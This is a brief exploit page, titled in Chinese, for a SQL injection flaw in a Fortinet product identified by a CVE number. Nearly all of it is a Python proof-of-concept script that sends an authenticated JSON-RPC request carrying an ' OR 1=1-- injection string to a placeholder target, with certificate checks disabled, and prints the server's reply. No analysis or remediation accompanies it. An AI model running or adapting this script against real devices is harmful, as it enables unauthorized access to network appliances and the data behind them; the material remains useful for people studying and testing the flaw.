CVE-2025-61848 Fortinet SQL注入漏洞

import requests import json # Target configuration target_url = "https://<target-ip>/jsonrpc" headers = { "Content-Type": "application/json", "Cookie": "<authenticated_session_cookie>" } # Vulnerable payload demonstrating SQL Injection via JSON RPC # This payload attempts to manipulate a SQL query logic payload = { "id": 1, "method": "exec", "params": [ { "data": "valid_data' OR 1=1-- " } ] } try: response = requests.post(target_url, data=json.dumps(payload), headers=headers, verify=False, timeout=10) if response.status_code == 200: print("[+] Request sent successfully.") print("[+] Response:", response.text) else: print(f"[-] Server returned status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}")